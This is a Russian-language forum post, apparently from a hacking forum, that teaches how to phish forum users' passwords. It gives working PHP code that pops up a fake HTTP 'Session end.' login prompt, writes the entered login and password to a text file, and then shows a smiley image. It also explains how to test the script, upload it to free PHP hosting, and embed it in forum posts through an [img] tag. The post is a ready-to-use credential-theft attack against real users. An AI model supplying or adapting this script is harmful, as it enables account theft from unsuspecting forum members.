jazer
Новичок
Как это работает
Со стороны пользователей это выглядит так: сидят они себе на любимом форуме, просматривают темы и вдруг бац! Появляется такое:
Доверчивый пользователь либо сразу честно введёт свой логин и пароль, либо закроет окно... что же, не беда, через некоторое время оно снова откроется! Конечно, 100% гарантии что жертва введёт свой настоящий пароль нет, но шанс что кто-нибудь попадётся всё-таки есть.
Ок, так это увидит жертва, а как такое сделать? Всё очень просто! На любом уважающем себя форуме пользователи имеют возможность вставлять в свои сообщения изображения. Но ведь это так скучно! Давайте вместо изображения вставим так ссылку на скрипт, который запросит логин, пароль и запишет их!
Готовим тот самый скрипт
Содержимое его таково:
PHP:
<?
if(!$_COOKIE['LOGON'])
{
$login = $_SERVER['PHP_AUTH_USER'];
$pass = $_SERVER['PHP_AUTH_PW'];
//Авторизация пройдёт, если пароль больше 4-ёх символов и вообще написан логин
if(strlen($pass) <= 4 || !$login)
{
Header('HTTP/1.1 401 Unauthorized');
Header('WWW-Authenticate: Basic realm="Session end."');
}
elseif($login)
{
setcookie('LOGON',md5($pass)); //ставим кукис, чтобы при повторном заходе авторизации небыло, а в самом начале проверка есть ли кукис
// записываем логин и пасс в base.txt
$log = fopen("base.txt","at");
fwrite($log,"\n $login:$pass \n");
fclose($log);
//делаем скрипт картинкой
header("Content-type: image/gif");
//делаем изображение смайликом из архива
$image = imagecreatefromgif('img.gif');
imagegif($image);
imagedestroy($image);
}
}
?>
Объясню немного что делает данный скрипт. Сначала он проверяет, сохранены-ли кукис для данного сайта (они сохраняются после ввода пользователем логина и пароля). Если их нет, запрашивает логин и пароль и сохраняет их в файл base.txt, после чего сохраняет кукис и превращается в загадочный смайл IMG::ds: (ну или любую картинку, которую вы сохраните в файле img.gif). Так как кукис сохраняются, при последующих запусках скрипта, он не будет спрашивать логин и пароль, картинка также не будет появляться (после проверки, есть-ли кукис, скрипт будет просто завершаться).
Тестирование
Тут нам пригодится localhost(denwer). Кидаем эти 3 файла (smile.php, img.gif, base.txt) на localhost и открываем наш smile.php в браузере. Должна появится форма с запросом логина и пароля (см. картинку выше). Вводим что угодно (пароль не менее 5 символов) и, если всё правильно, видим на странице нашу картинку из img.gif. После обновления страницы она должна оказаться пустой и запрос ввода больше не должен появляться (ведь кукис уже сохранены). Теперь лезем в base.txt - там должно быть то, что вы вписали в поля логин и пароль. Надеюсь, всё прошло гладко.
Заливаем всё на хост
Теперь нужно залить всё на хостинг с поддержкой php, дабы можно было вставлять в сообщения ссылку на наш скрипт. Рекомендую в данном случае использовать хостинг от phpnet.us, 0fees.net (сразу предупреждаю - на freehostia по неведомым причинам не сохраняются кукис, из-за чего скрипт работает некорректно). По той же схеме, что и с фейком, заливаем все 3 файла на хост и ставим права 777 для base.txt. Не грех было бы проверить всё ещё раз, не так-ли? =)
Пользуемся нашим творением!
Для того, чтобы наша форма ввода появилась на странице форума, нужно просто вставить её адрес в сообщение как картинку, то есть как-то так:
PHP:
[img]http://host.com/smile.php[/img]
Работать может не на все форумах!! Если стоит последняя версия, то скорей всего его профиксали
Последнее редактирование:
